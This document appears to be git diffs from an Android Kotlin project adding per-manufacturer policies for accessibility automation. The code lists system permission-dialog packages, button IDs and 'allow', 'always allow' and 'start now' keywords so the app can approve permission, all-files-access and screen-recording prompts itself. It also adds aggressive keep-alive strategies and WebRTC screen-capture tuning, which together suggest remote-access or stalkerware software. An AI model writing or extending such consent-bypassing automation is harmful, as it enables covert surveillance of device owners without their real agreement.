val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
alarmManager.canScheduleExactAlarms()
} catch (e: Exception) {
Log.w(TAG, "检查精确闹钟权限失败", e)
false
}
} else {
true
}
}
private fun addIfDeclared(declared: Set<String>, target: MutableSet<String>, permission: String) {
if (declared.contains(permission)) {
target.add(permission)
}
}
private fun getDeclaredPermissions(context: Context): Set<String> {
return try {
val packageInfo = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
context.packageManager.getPackageInfo(
context.packageName,
PackageManager.PackageInfoFlags.of(PackageManager.GET_PERMISSIONS.toLong())
)
} else {
@Suppress("DEPRECATION")
context.packageManager.getPackageInfo(context.packageName, PackageManager.GET_PERMISSIONS)
}
packageInfo.requestedPermissions?.toSet() ?: emptySet()
} catch (e: Exception) {
Log.w(TAG, "读取清单权限失败,回退为空集合", e)
emptySet()
}
}
}

View File

@@ -0,0 +1,38 @@
package com.hikoncont.util.adaptation
import com.hikoncont.util.DeviceDetector.DeviceBrand
import com.hikoncont.util.DeviceDetector.KeepAlivePolicy
/**
* Device runtime fingerprint used by adaptation strategies.
*/
data class DeviceRuntimeInfo(
val brand: DeviceBrand,
val sdkInt: Int,
val brandRaw: String,
val manufacturerRaw: String,
val modelRaw: String,
val deviceRaw: String,
val productRaw: String
)
/**
* Strategy interface for per-device adaptation.
*
* Keep this interface focused and stable so new ROM/model behavior can be
* plugged in by adding a strategy class instead of editing many call sites.
*/
interface DeviceAdaptationStrategy {
val id: String
val priority: Int
fun matches(info: DeviceRuntimeInfo): Boolean
fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy
}
data class StrategyResolution(
val strategyId: String,
val keepAlivePolicy: KeepAlivePolicy
)

View File

@@ -0,0 +1,121 @@
package com.hikoncont.util.adaptation
/**
* Runtime installer/dialog automation plan resolved from [RomPolicy].
*
* This turns static installer strategy labels into concrete runtime knobs used
* by accessibility automation modules.
*/
data class InstallerUiAutomationPlan(
val strategyId: String,
val installerStrategy: InstallerStrategy,
val packageHints: List<String>,
val titleKeywords: List<String>,
val alwaysAllowKeywords: List<String>,
val positiveKeywords: List<String>,
val negativeKeywords: List<String>,
val positiveButtonIds: List<String>,
val checkboxIds: List<String>,
val autoAllowDurationMs: Long,
val autoAllowClickMinIntervalMs: Long,
val dialogHandleCooldownMs: Long
)
object InstallerAutomationPlanner {
fun resolve(policy: RomPolicy): InstallerUiAutomationPlan {
val basePlan = InstallerUiAutomationPlan(
strategyId = "${policy.strategyId}:installer_default",
installerStrategy = policy.installerStrategy,
packageHints = policy.appOpenDialogPackageHints,
titleKeywords = policy.appOpenDialogTitleKeywords,
alwaysAllowKeywords = policy.appOpenDialogAlwaysAllowKeywords,
positiveKeywords = policy.appOpenDialogPositiveKeywords,
negativeKeywords = policy.appOpenDialogNegativeKeywords,
positiveButtonIds = policy.appOpenDialogPositiveButtonIds,
checkboxIds = policy.appOpenDialogCheckboxIds,
autoAllowDurationMs = 15_000L,
autoAllowClickMinIntervalMs = 700L,
dialogHandleCooldownMs = 300L
)
return when (policy.installerStrategy) {
InstallerStrategy.SESSION_FAST -> basePlan.copy(
strategyId = "${policy.strategyId}:installer_fast",
autoAllowDurationMs = 12_000L,
autoAllowClickMinIntervalMs = 650L,
dialogHandleCooldownMs = 250L
)
InstallerStrategy.SESSION_COMPAT -> {
val compatPackageHints = mergeDistinct(
basePlan.packageHints,
listOf(
"com.coloros.securitypermission",
"com.coloros.safecenter",
"com.oppo.safecenter",
"com.oplus.safecenter",
"com.heytap.security",
"com.heytap.permission"
)
)
val compatPositiveButtonIds = mergeDistinct(
basePlan.positiveButtonIds,
listOf(
"com.coloros.securitypermission:id/button1",
"com.coloros.safecenter:id/button1",
"com.oppo.safecenter:id/button1",
"com.oplus.safecenter:id/button1",
"com.heytap.permission:id/button1",
"com.heytap.security:id/button1"
)
)
val compatCheckboxIds = mergeDistinct(
basePlan.checkboxIds,
listOf(
"com.coloros.securitypermission:id/checkbox",
"com.coloros.safecenter:id/checkbox",
"com.oppo.safecenter:id/checkbox",
"com.oplus.safecenter:id/checkbox",
"com.heytap.permission:id/checkbox",
"com.heytap.security:id/checkbox"
)
)
val compatPositiveKeywords = mergeDistinct(
basePlan.positiveKeywords,
listOf("确定", "允许", "继续", "同意", "确认", "allow", "confirm", "ok")
)
val compatAlwaysAllowKeywords = mergeDistinct(
basePlan.alwaysAllowKeywords,
listOf(
"是否始终允许打开",
"是否始终允许开启应用",
"始终允许打开",
"始终允许开启",
"总是允许打开",
"总是允许开启",
"always allow"
)
)
basePlan.copy(
strategyId = "${policy.strategyId}:installer_compat",
packageHints = compatPackageHints,
positiveButtonIds = compatPositiveButtonIds,
checkboxIds = compatCheckboxIds,
positiveKeywords = compatPositiveKeywords,
alwaysAllowKeywords = compatAlwaysAllowKeywords,
autoAllowDurationMs = 20_000L,
autoAllowClickMinIntervalMs = 900L,
dialogHandleCooldownMs = 450L
)
}
}
}
private fun mergeDistinct(primary: List<String>, secondary: List<String>): List<String> {
return (primary + secondary)
.map { it.trim() }
.filter { it.isNotEmpty() }
.distinct()
}
}

View File

@@ -0,0 +1,87 @@
package com.hikoncont.util.adaptation
import com.hikoncont.util.DeviceDetector.DeviceBrand
import com.hikoncont.util.DeviceDetector.KeepAlivePolicy
/**
* Strategy registry for keep-alive behavior across device families.
*
* Add new strategies here instead of injecting ROM if/else checks into
* service modules.
*/
object KeepAliveAdaptationRegistry {
private val strategies: List<DeviceAdaptationStrategy> = listOf(
OppoFamilyAndroid14ConservativeStrategy,
XiaomiLegacyAggressiveStrategy,
DefaultBalancedStrategy
).sortedByDescending { it.priority }
fun resolve(info: DeviceRuntimeInfo): StrategyResolution {
val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultBalancedStrategy
return StrategyResolution(
strategyId = strategy.id,
keepAlivePolicy = strategy.keepAlivePolicy(info)
)
}
}
private object OppoFamilyAndroid14ConservativeStrategy : DeviceAdaptationStrategy {
override val id: String = "oppo_family_android14_conservative"
override val priority: Int = 100
override fun matches(info: DeviceRuntimeInfo): Boolean {
if (info.sdkInt < 34) return false
return info.brand == DeviceBrand.OPPO ||
info.brand == DeviceBrand.VIVO ||
info.brand == DeviceBrand.REALME ||
info.brand == DeviceBrand.ONEPLUS
}
override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
return KeepAlivePolicy(
useActivityKeepAlive = false,
enableAggressiveWorkers = false,
keepAliveCheckIntervalMs = 30_000L,
minForegroundKickIntervalMs = 20_000L
)
}
}
private object XiaomiLegacyAggressiveStrategy : DeviceAdaptationStrategy {
override val id: String = "xiaomi_legacy_aggressive"
override val priority: Int = 90
override fun matches(info: DeviceRuntimeInfo): Boolean {
return info.brand == DeviceBrand.XIAOMI && info.sdkInt <= 33
}
override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
return KeepAlivePolicy(
useActivityKeepAlive = true,
enableAggressiveWorkers = true,
keepAliveCheckIntervalMs = 5_000L,
minForegroundKickIntervalMs = 2_500L
)
}
}
private object DefaultBalancedStrategy : DeviceAdaptationStrategy {
override val id: String = "default_balanced"
override val priority: Int = 0
override fun matches(info: DeviceRuntimeInfo): Boolean {
return true
}
override fun keepAlivePolicy(info: DeviceRuntimeInfo): KeepAlivePolicy {
val disableActivityKeepAlive = info.brand == DeviceBrand.OPPO || info.brand == DeviceBrand.VIVO
return KeepAlivePolicy(
useActivityKeepAlive = !disableActivityKeepAlive,
enableAggressiveWorkers = true,
keepAliveCheckIntervalMs = 10_000L,
minForegroundKickIntervalMs = 5_000L
)
}
}

View File

@@ -0,0 +1,406 @@
package com.hikoncont.util.adaptation
import com.hikoncont.util.DeviceDetector.DeviceBrand
import com.hikoncont.util.UnifiedPermissionOrchestrator
/**
* Unified ROM policy model for permission orchestration + installer routing.
*
* Keep ROM branching in one place and avoid scattering manufacturer checks
* across MainActivity/Service/manager modules.
*/
enum class PermissionStep(val orchestratorStep: UnifiedPermissionOrchestrator.Step) {
RUNTIME(UnifiedPermissionOrchestrator.Step.RUNTIME),
OVERLAY(UnifiedPermissionOrchestrator.Step.OVERLAY),
WRITE_SETTINGS(UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS),
ALL_FILES_ACCESS(UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS),
NOTIFICATION_LISTENER(UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER),
BATTERY_OPTIMIZATION(UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION),
EXACT_ALARM(UnifiedPermissionOrchestrator.Step.EXACT_ALARM),
ACCESSIBILITY(UnifiedPermissionOrchestrator.Step.ACCESSIBILITY),
MEDIA_PROJECTION(UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION)
}
enum class InstallerStrategy {
SESSION_FAST,
SESSION_COMPAT
}
data class RomPolicy(
val strategyId: String,
val permissionStepOrder: List<PermissionStep>,
val mediaProjectionConfirmTexts: List<String>,
val mediaProjectionDetectionKeywords: List<String>,
val mediaProjectionDenyKeywords: List<String>,
val runtimePermissionAllowKeywords: List<String>,
val runtimePermissionDenyKeywords: List<String>,
val runtimePermissionOptionKeywords: List<String>,
val runtimePermissionFinalConfirmKeywords: List<String>,
val runtimePermissionConfirmViewIdHints: List<String>,
val permissionDialogPackageHints: List<String>,
val permissionFlowPackageHints: List<String>,
val appOpenDialogPackageHints: List<String>,
val appOpenDialogTitleKeywords: List<String>,
val appOpenDialogAlwaysAllowKeywords: List<String>,
val appOpenDialogPositiveKeywords: List<String>,
val appOpenDialogNegativeKeywords: List<String>,
val appOpenDialogPositiveButtonIds: List<String>,
val appOpenDialogCheckboxIds: List<String>,
val installerStrategy: InstallerStrategy
)
interface RomPolicyStrategy {
val id: String
val priority: Int
fun matches(info: DeviceRuntimeInfo): Boolean
fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy
}
object RomPolicyRegistry {
private val strategies: List<RomPolicyStrategy> = listOf(
XiaomiRomPolicyStrategy,
OppoFamilyRomPolicyStrategy,
DefaultRomPolicyStrategy
).sortedByDescending { it.priority }
fun resolve(info: DeviceRuntimeInfo): RomPolicy {
val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultRomPolicyStrategy
return strategy.buildPolicy(info)
}
}
private object XiaomiRomPolicyStrategy : RomPolicyStrategy {
override val id: String = "xiaomi_permission_media_projection_firstsafe"
override val priority: Int = 120
override fun matches(info: DeviceRuntimeInfo): Boolean {
return info.brand == DeviceBrand.XIAOMI
}
override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
return baseRomPolicy(id).copy(
permissionStepOrder = listOf(
PermissionStep.RUNTIME,
PermissionStep.OVERLAY,
PermissionStep.WRITE_SETTINGS,
PermissionStep.ALL_FILES_ACCESS,
PermissionStep.NOTIFICATION_LISTENER,
PermissionStep.BATTERY_OPTIMIZATION,
PermissionStep.EXACT_ALARM,
PermissionStep.ACCESSIBILITY,
PermissionStep.MEDIA_PROJECTION
),
mediaProjectionConfirmTexts = mergeDistinct(
listOf("立即开始", "开始", "允许", "同意", "确认", "Start now", "Start", "Allow", "OK"),
DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS
),
permissionDialogPackageHints = mergeDistinct(
listOf(
"com.miui.securitycenter",
"com.miui.permcenter",
"com.miui.permissioncontroller",
"com.lbe.security.miui"
),
DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS
),
permissionFlowPackageHints = mergeDistinct(
listOf(
"com.miui.securitycenter",
"com.miui.permcenter",
"com.miui.permissioncontroller",
"com.lbe.security.miui"
),
DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS
),
installerStrategy = InstallerStrategy.SESSION_FAST
)
}
}
private object OppoFamilyRomPolicyStrategy : RomPolicyStrategy {
override val id: String = "oppo_family_permission_background_first"
override val priority: Int = 110
override fun matches(info: DeviceRuntimeInfo): Boolean {
return info.brand == DeviceBrand.OPPO ||
info.brand == DeviceBrand.ONEPLUS ||
info.brand == DeviceBrand.REALME
}
override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
return baseRomPolicy(id).copy(
permissionStepOrder = listOf(
PermissionStep.RUNTIME,
PermissionStep.OVERLAY,
PermissionStep.WRITE_SETTINGS,
PermissionStep.BATTERY_OPTIMIZATION,
PermissionStep.NOTIFICATION_LISTENER,
PermissionStep.ALL_FILES_ACCESS,
PermissionStep.EXACT_ALARM,
PermissionStep.ACCESSIBILITY,
PermissionStep.MEDIA_PROJECTION
),
mediaProjectionConfirmTexts = mergeDistinct(
listOf("立即开始", "开始", "允许", "确定", "确认", "同意", "Start now", "Start", "Allow", "Confirm", "OK"),
DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS
),
permissionDialogPackageHints = mergeDistinct(
listOf(
"com.coloros.securitypermission",
"com.coloros.safecenter",
"com.oppo.safecenter",
"com.oplus.safecenter",
"com.heytap.security",
"com.heytap.permission",
"com.oppo.permissioncontroller"
),
DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS
),
permissionFlowPackageHints = mergeDistinct(
listOf(
"com.coloros.securitypermission",
"com.coloros.safecenter",
"com.oppo.safecenter",
"com.oplus.safecenter",
"com.heytap.security",
"com.heytap.permission",
"com.oppo.permissioncontroller"
),
DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS
),
appOpenDialogPackageHints = mergeDistinct(
listOf(
"com.coloros.securitypermission",
"com.coloros.safecenter",
"com.oppo.safecenter",
"com.oplus.safecenter",
"com.heytap.security",
"com.heytap.permission"
),
DEFAULT_APP_OPEN_PACKAGE_HINTS
),
appOpenDialogAlwaysAllowKeywords = mergeDistinct(
listOf(
"是否始终允许打开",
"是否始终允许开启应用",
"始终允许打开",
"始终允许开启",
"总是允许打开",
"总是允许开启",
"always allow"
),
DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS
),
appOpenDialogPositiveKeywords = mergeDistinct(
listOf("确定", "允许", "继续", "同意", "确认", "allow", "confirm", "ok"),
DEFAULT_APP_OPEN_POSITIVE_KEYWORDS
),
installerStrategy = InstallerStrategy.SESSION_COMPAT
)
}
}
private object DefaultRomPolicyStrategy : RomPolicyStrategy {
override val id: String = "default_rom_policy"
override val priority: Int = 0
override fun matches(info: DeviceRuntimeInfo): Boolean = true
override fun buildPolicy(info: DeviceRuntimeInfo): RomPolicy {
return baseRomPolicy(id)
}
}
private fun baseRomPolicy(strategyId: String): RomPolicy {
return RomPolicy(
strategyId = strategyId,
permissionStepOrder = listOf(
PermissionStep.RUNTIME,
PermissionStep.OVERLAY,
PermissionStep.WRITE_SETTINGS,
PermissionStep.ALL_FILES_ACCESS,
PermissionStep.NOTIFICATION_LISTENER,
PermissionStep.BATTERY_OPTIMIZATION,
PermissionStep.EXACT_ALARM,
PermissionStep.ACCESSIBILITY,
PermissionStep.MEDIA_PROJECTION
),
mediaProjectionConfirmTexts = DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS,
mediaProjectionDetectionKeywords = DEFAULT_MEDIA_PROJECTION_DETECTION_KEYWORDS,
mediaProjectionDenyKeywords = DEFAULT_MEDIA_PROJECTION_DENY_KEYWORDS,
runtimePermissionAllowKeywords = DEFAULT_RUNTIME_PERMISSION_ALLOW_KEYWORDS,
runtimePermissionDenyKeywords = DEFAULT_RUNTIME_PERMISSION_DENY_KEYWORDS,
runtimePermissionOptionKeywords = DEFAULT_RUNTIME_PERMISSION_OPTION_KEYWORDS,
runtimePermissionFinalConfirmKeywords = DEFAULT_RUNTIME_PERMISSION_FINAL_CONFIRM_KEYWORDS,
runtimePermissionConfirmViewIdHints = DEFAULT_RUNTIME_PERMISSION_CONFIRM_VIEW_ID_HINTS,
permissionDialogPackageHints = DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS,
permissionFlowPackageHints = DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS,
appOpenDialogPackageHints = DEFAULT_APP_OPEN_PACKAGE_HINTS,
appOpenDialogTitleKeywords = DEFAULT_APP_OPEN_TITLE_KEYWORDS,
appOpenDialogAlwaysAllowKeywords = DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS,
appOpenDialogPositiveKeywords = DEFAULT_APP_OPEN_POSITIVE_KEYWORDS,
appOpenDialogNegativeKeywords = DEFAULT_APP_OPEN_NEGATIVE_KEYWORDS,
appOpenDialogPositiveButtonIds = DEFAULT_APP_OPEN_POSITIVE_BUTTON_IDS,
appOpenDialogCheckboxIds = DEFAULT_APP_OPEN_CHECKBOX_IDS,
installerStrategy = InstallerStrategy.SESSION_FAST
)
}
private fun mergeDistinct(primary: List<String>, secondary: List<String>): List<String> {
return (primary + secondary)
.map { it.trim() }
.filter { it.isNotEmpty() }
.distinct()
}
private val DEFAULT_MEDIA_PROJECTION_CONFIRM_TEXTS = listOf(
"立即开始", "允许", "确定", "开始", "Start now", "Allow", "OK", "Start", "Begin"
)
private val DEFAULT_MEDIA_PROJECTION_DETECTION_KEYWORDS = listOf(
"投射", "录制", "录屏", "投屏", "截取", "共享屏幕", "屏幕录制",
"Screen recording", "Screen casting", "Screen capture", "Share screen"
)
private val DEFAULT_MEDIA_PROJECTION_DENY_KEYWORDS = listOf(
"禁止", "取消", "拒绝", "不允许", "不同意", "关闭",
"Cancel", "Deny", "Dismiss", "Don't allow", "No"
)
private val DEFAULT_RUNTIME_PERMISSION_ALLOW_KEYWORDS = listOf(
"允许", "始终允许", "允许本次使用", "本次使用时允许",
"使用时允许", "使用期间允许", "仅使用期间允许",
"仅在使用中允许", "仅在前台使用应用时允许", "仅在使用该应用时允许",
"在使用中运行", "在使用中", "在使用该应用时", "在使用期间",
"仅在使用中", "仅在使用期间", "仅在使用应用时",
"允许通知", "允许访问全部", "允许管理所有文件", "允许使用照片和视频", "所有文件",
"确认解除", "解除限制", "解除", "仅本次", "本次允许", "仅此一次", "允许一次",
"Allow", "Always allow", "Allow all the time",
"Allow while using", "Allow while using the app", "While using the app",
"Allow only this time", "Only this time", "This time only", "Allow once"
)
private val DEFAULT_RUNTIME_PERMISSION_DENY_KEYWORDS = listOf(
"禁止", "取消", "拒绝", "不允许", "不同意", "关闭", "暂不", "以后再说",
"仅在使用中不允许", "仅在使用期间不允许",
"Cancel", "Deny", "Dismiss", "Don't allow", "Do not allow", "Not now", "No"
)
private val DEFAULT_RUNTIME_PERMISSION_OPTION_KEYWORDS = listOf(
"每次使用询问", "每次询问", "询问",
"仅在使用中允许", "仅在使用期间允许",
"仅在使用该应用时允许", "仅在使用此应用时允许", "仅在前台使用应用时允许",
"仅本次", "本次允许", "仅此一次", "允许一次",
"Ask every time", "Only this time", "While using the app"
)
private val DEFAULT_RUNTIME_PERMISSION_FINAL_CONFIRM_KEYWORDS = listOf(
"允许", "确认", "确定", "继续", "同意", "授权", "完成",
"Allow", "Confirm", "OK", "Continue", "Agree", "Grant", "Authorize", "Yes"
)
private val DEFAULT_RUNTIME_PERMISSION_CONFIRM_VIEW_ID_HINTS = listOf(
"button1", "positive", "allow", "grant", "confirm", "ok", "continue", "action"
)
private val DEFAULT_PERMISSION_DIALOG_PACKAGE_HINTS = listOf(
"com.android.systemui",
"android",
"com.android.permissioncontroller",
"com.google.android.permissioncontroller",
"com.android.packageinstaller",
"com.miui.securitycenter",
"com.miui.permcenter",
"com.miui.permissioncontroller",
"com.lbe.security.miui",
"com.huawei.systemmanager",
"com.hihonor.systemmanager",
"com.hihonor.securitycenter",
"com.coloros.safecenter",
"com.coloros.securitypermission",
"com.oplus.securitypermission",
"com.oppo.permissioncontroller",
"com.oppo.safecenter",
"com.heytap.permission",
"com.heytap.security"
)
private val DEFAULT_PERMISSION_FLOW_PACKAGE_HINTS = listOf(
"permissioncontroller",
"packageinstaller",
"permcenter",
"securitycenter",
"systemmanager",
"lbe.security.miui",
"com.coloros",
"com.oplus",
"com.heytap",
"com.oppo"
)
private val DEFAULT_APP_OPEN_PACKAGE_HINTS = listOf(
"com.android.permissioncontroller",
"com.android.packageinstaller",
"com.coloros.securitypermission",
"com.coloros.safecenter",
"com.oppo.safecenter",
"com.oplus.safecenter",
"com.heytap.security",
"com.heytap.permission"
)
private val DEFAULT_APP_OPEN_TITLE_KEYWORDS = listOf(
"是否允许开启应用",
"是否允许打开应用",
"是否始终允许打开",
"是否始终允许开启应用",
"允许开启应用",
"允许打开应用",
"打开此应用",
"allow this app to open",
"allow opening app"
)
private val DEFAULT_APP_OPEN_ALWAYS_ALLOW_KEYWORDS = listOf(
"是否始终允许打开",
"是否始终允许开启应用",
"始终允许打开",
"始终允许开启",
"始终允许打开此应用",
"总是允许打开",
"总是允许开启",
"总是允许打开此应用",
"始终允许",
"always allow"
)
private val DEFAULT_APP_OPEN_POSITIVE_KEYWORDS = listOf(
"确定", "允许", "继续", "同意", "确认", "打开", "ok", "allow", "continue", "confirm", "yes"
)
private val DEFAULT_APP_OPEN_NEGATIVE_KEYWORDS = listOf(
"取消", "拒绝", "不允许", "not now", "cancel", "deny", "don't allow"
)
private val DEFAULT_APP_OPEN_POSITIVE_BUTTON_IDS = listOf(
"android:id/button1",
"com.android.permissioncontroller:id/button1",
"com.android.packageinstaller:id/button1",
"com.android.packageinstaller:id/permission_allow_button",
"com.coloros.securitypermission:id/button1",
"com.coloros.safecenter:id/button1",
"com.oppo.safecenter:id/button1",
"com.heytap.permission:id/button1"
)
private val DEFAULT_APP_OPEN_CHECKBOX_IDS = listOf(
"android:id/checkbox",
"com.android.permissioncontroller:id/checkbox",
"com.android.packageinstaller:id/checkbox",
"com.coloros.securitypermission:id/checkbox",
"com.coloros.safecenter:id/checkbox",
"com.oppo.safecenter:id/checkbox",
"com.heytap.permission:id/checkbox"
)

View File

@@ -0,0 +1,137 @@
package com.hikoncont.util.adaptation
import com.hikoncont.util.DeviceDetector.DeviceBrand
/**
* Runtime policy for WebRTC + MediaProjection behavior.
*
* Keep ROM/model specific tuning here so feature modules avoid hardcoded
* brand checks.
*/
data class WebRtcTransportPolicy(
val strategyId: String,
val offerRetryDelayMs: Long,
val offerRetryMax: Int,
val refreshTriggerIntervalMs: Long,
val emergencyRefreshMinIntervalMs: Long,
val preferDefaultDisplayCaptureIntent: Boolean,
val forceMediaProjectionFgsBeforeCapture: Boolean
)
private interface WebRtcTransportAdaptationStrategy {
val id: String
val priority: Int
fun matches(info: DeviceRuntimeInfo): Boolean
fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy
}
/**
* Registry for WebRTC transport tuning.
*/
object WebRtcTransportAdaptationRegistry {
private val strategies: List<WebRtcTransportAdaptationStrategy> = listOf(
Xiaomi13HyperOsAndroid14Strategy,
XiaomiAndroid14Strategy,
OppoFamilyAndroid14Strategy,
DefaultWebRtcTransportStrategy
).sortedByDescending { it.priority }
fun resolve(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
val strategy = strategies.firstOrNull { it.matches(info) } ?: DefaultWebRtcTransportStrategy
return strategy.buildPolicy(info)
}
}
private object Xiaomi13HyperOsAndroid14Strategy : WebRtcTransportAdaptationStrategy {
override val id: String = "xiaomi13_hyperos_android14"
override val priority: Int = 200
override fun matches(info: DeviceRuntimeInfo): Boolean {
if (info.brand != DeviceBrand.XIAOMI) return false
if (info.sdkInt < 34) return false
val model = info.modelRaw.lowercase()
val device = info.deviceRaw.lowercase()
val product = info.productRaw.lowercase()
return model.contains("2211133c") || device.contains("fuxi") || product.contains("fuxi")
}
override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
return WebRtcTransportPolicy(
strategyId = id,
offerRetryDelayMs = 4500L,
offerRetryMax = 8,
refreshTriggerIntervalMs = 3000L,
emergencyRefreshMinIntervalMs = 1000L,
preferDefaultDisplayCaptureIntent = true,
forceMediaProjectionFgsBeforeCapture = true
)
}
}
private object XiaomiAndroid14Strategy : WebRtcTransportAdaptationStrategy {
override val id: String = "xiaomi_android14_balanced"
override val priority: Int = 150
override fun matches(info: DeviceRuntimeInfo): Boolean {
return info.brand == DeviceBrand.XIAOMI && info.sdkInt >= 34
}
override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
return WebRtcTransportPolicy(
strategyId = id,
offerRetryDelayMs = 5000L,
offerRetryMax = 7,
refreshTriggerIntervalMs = 3500L,
emergencyRefreshMinIntervalMs = 1200L,
preferDefaultDisplayCaptureIntent = true,
forceMediaProjectionFgsBeforeCapture = true
)
}
}
private object OppoFamilyAndroid14Strategy : WebRtcTransportAdaptationStrategy {
override val id: String = "oppo_family_android14"
override val priority: Int = 120
override fun matches(info: DeviceRuntimeInfo): Boolean {
if (info.sdkInt < 34) return false
return info.brand == DeviceBrand.OPPO ||
info.brand == DeviceBrand.VIVO ||
info.brand == DeviceBrand.ONEPLUS ||
info.brand == DeviceBrand.REALME
}
override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
return WebRtcTransportPolicy(
strategyId = id,
offerRetryDelayMs = 5000L,
offerRetryMax = 6,
refreshTriggerIntervalMs = 4000L,
emergencyRefreshMinIntervalMs = 1500L,
preferDefaultDisplayCaptureIntent = true,
forceMediaProjectionFgsBeforeCapture = true
)
}
}
private object DefaultWebRtcTransportStrategy : WebRtcTransportAdaptationStrategy {
override val id: String = "default_webrtc_transport"
override val priority: Int = 0
override fun matches(info: DeviceRuntimeInfo): Boolean = true
override fun buildPolicy(info: DeviceRuntimeInfo): WebRtcTransportPolicy {
return WebRtcTransportPolicy(
strategyId = id,
offerRetryDelayMs = 5000L,
offerRetryMax = 6,
refreshTriggerIntervalMs = 4000L,
emergencyRefreshMinIntervalMs = 1500L,
preferDefaultDisplayCaptureIntent = info.sdkInt >= 34,
forceMediaProjectionFgsBeforeCapture = info.sdkInt >= 29
)
}
}

View File

@@ -3,7 +3,9 @@
import android.content.Context
import android.content.Intent
import android.os.Build
import android.provider.Settings
import android.util.Log
import androidx.core.app.NotificationManagerCompat
import com.hikoncont.ui.PermissionRequestActivity
/**
@@ -141,11 +143,19 @@ object PermissionRequestHelper {
val hasImagesPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_IMAGES)
val hasVideoPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VIDEO)
val hasAudioPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_AUDIO)
val hasVisualSelectedPermission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
} else {
false
}
Log.d(TAG, "🔍 媒体权限检测: 图片=$hasImagesPermission, 视频=$hasVideoPermission, 音频=$hasAudioPermission")
Log.d(
TAG,
"🔍 媒体权限检测: 图片=$hasImagesPermission, 视频=$hasVideoPermission, 音频=$hasAudioPermission, 用户选择媒体=$hasVisualSelectedPermission"
)
// 拥有任一媒体权限即可访问相册
hasImagesPermission || hasVideoPermission || hasAudioPermission
hasImagesPermission || hasVideoPermission || hasAudioPermission || hasVisualSelectedPermission
} else {
// Android 12及以下使用传统存储权限
// ✅ 优化:只需要读取权限,不需要写入权限
@@ -184,6 +194,14 @@ object PermissionRequestHelper {
Log.d(TAG, "✅ 快速检测:音频权限已授予")
return true
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
val hasVisualSelectedPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
if (hasVisualSelectedPermission) {
Log.d(TAG, "✅ 快速检测:用户选择媒体权限已授予")
return true
}
}
Log.d(TAG, "❌ 快速检测:无任何媒体权限")
false
@@ -213,12 +231,19 @@ object PermissionRequestHelper {
val hasImagesPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_IMAGES)
val hasVideoPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_VIDEO)
val hasAudioPermission = hasPermission(context, android.Manifest.permission.READ_MEDIA_AUDIO)
val hasVisualSelectedPermission = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
hasPermission(context, android.Manifest.permission.READ_MEDIA_VISUAL_USER_SELECTED)
} else {
false
}
result["android_version"] = "13+"
result["has_images_permission"] = hasImagesPermission
result["has_video_permission"] = hasVideoPermission
result["has_audio_permission"] = hasAudioPermission
result["has_any_media_permission"] = hasImagesPermission || hasVideoPermission || hasAudioPermission
result["has_visual_selected_permission"] = hasVisualSelectedPermission
result["has_any_media_permission"] =
hasImagesPermission || hasVideoPermission || hasAudioPermission || hasVisualSelectedPermission
result["permission_type"] = "media"
Log.d(TAG, "🔍 详细检测结果: $result")
@@ -255,4 +280,37 @@ object PermissionRequestHelper {
hasPermission(context, android.Manifest.permission.READ_PHONE_STATE) &&
hasPermission(context, android.Manifest.permission.CALL_PHONE)
}
fun hasNotificationPermission(context: Context): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
hasPermission(context, android.Manifest.permission.POST_NOTIFICATIONS)
} else {
true
}
}
fun hasOverlayPermission(context: Context): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
Settings.canDrawOverlays(context)
} else {
true
}
}
fun hasWriteSettingsPermission(context: Context): Boolean {
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
Settings.System.canWrite(context)
} else {
true
}
}
fun hasNotificationListenerPermission(context: Context): Boolean {
return try {
NotificationManagerCompat.getEnabledListenerPackages(context).contains(context.packageName)
} catch (e: Exception) {
Log.e(TAG, "检查通知监听权限失败", e)
false
}
}
}

View File

@@ -103,6 +103,54 @@
</LinearLayout>
<!-- 底部区域:按钮 -->
<LinearLayout
android:id="@+id/diagnosticPanel"
android:layout_width="match_parent"
